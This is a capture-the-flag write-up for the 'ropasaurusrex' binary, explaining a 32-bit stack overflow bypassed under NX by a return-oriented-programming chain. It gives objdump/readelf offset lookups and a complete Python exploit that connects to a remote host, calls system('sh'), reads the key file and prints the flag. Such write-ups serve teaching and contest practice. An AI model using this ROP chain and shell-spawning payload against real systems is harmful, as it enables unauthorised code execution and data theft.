ropasaurusrex is a 32-bit, dynamically linked, stripped executable. The vulnerability is straightforward, read() function can take 256 bytes of data. 144 bytes will overwrite the saved EIP. The binary is armed with NX, so we have to use a ROP payload for successful exploitation. Along with the binary, we were also given the libc library used in the remote system.
Here is the idea of exploit:
[*] Dereference GOT address of __libc_start_main
[*] Calculate the offset between __libc_start_main and system function using the given libc library file
[*] Add this offset to the dereferenced GOT address, then jump to this address, resulting in calling system() function
[*] Pass the address of string "sh" to the system() function
Finding Offset:
[ctf@renorobert Plaid]# objdump -T ./libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a | grep system 000f5470 g DF .text 00000042 GLIBC_2.0 svcerr_systemerr 00039450 g DF .text 0000007d GLIBC_PRIVATE __libc_system 00039450 w DF .text 0000007d GLIBC_2.0 system [ctf@renorobert Plaid]# objdump -T ./libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a | grep __libc_start_main 00016bc0 g DF .text 000001b5 GLIBC_2.0 __libc_start_mainFinding GOT address:
[ctf@renorobert Plaid]# readelf -a ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d | grep __libc_start_main 08049618 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)Below is the exploit:
#!/usr/bin/env python import struct import socket ip = "54.234.151.114" port = 1025 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) libc_start_main = 0x00016bc0 system = 0x00039450 got_libc_start_main = 0x08049618 payload = "A" * 140 payload += struct.pack("<I", 0x080484b5) # pop ebx; pop esi; pop edi; pop ebp payload += struct.pack("<I", 0xaaa99164) # .bss for ebx, 0x08049628-0x5D5B04C4 # load esi with the offset to system payload += struct.pack("<I", (system - libc_start_main - 0x8)) payload += "JUNK" payload += "JUNK" # xchg eax,esi; add al,0x08; add dword [ebx+0x5D5B04C4],eax payload += struct.pack("<I", 0x080483bb) payload += struct.pack("<I", 0x080483c2) # pop ebx; pop ebp payload += struct.pack("<I", (got_libc_start_main + 0x0B8A0008)) payload += "JUNK" # GOT dereference to read address of __libc_start_main # add eax,dword [ebx-0x0B8A0008]; add esp,0x04; pop ebx; pop ebp payload += struct.pack("<I", 0x080484de) payload += "JUNK" payload += struct.pack("<I", 0x08048319) # 0xffffffff payload += "JUNK" # Call the system function as system("sh") # call eax; mov eax,DWORD PTR [ebx]; cmp eax,0xffffffff; jne 0x8048478; add esp,0x4; pop ebx; pop ebp payload += struct.pack("<I", 0x080484db) payload += struct.pack("<I", 0x0804867f) # "sh" string from ".gnu.hash" soc.send(payload + '\n') soc.send('cat /home/ropasaurusrex/key\n') print soc.recv(1024) # you_cant_stop_the_ropasaurusrexSo the flag for the challenge is you_cant_stop_the_ropasaurusrex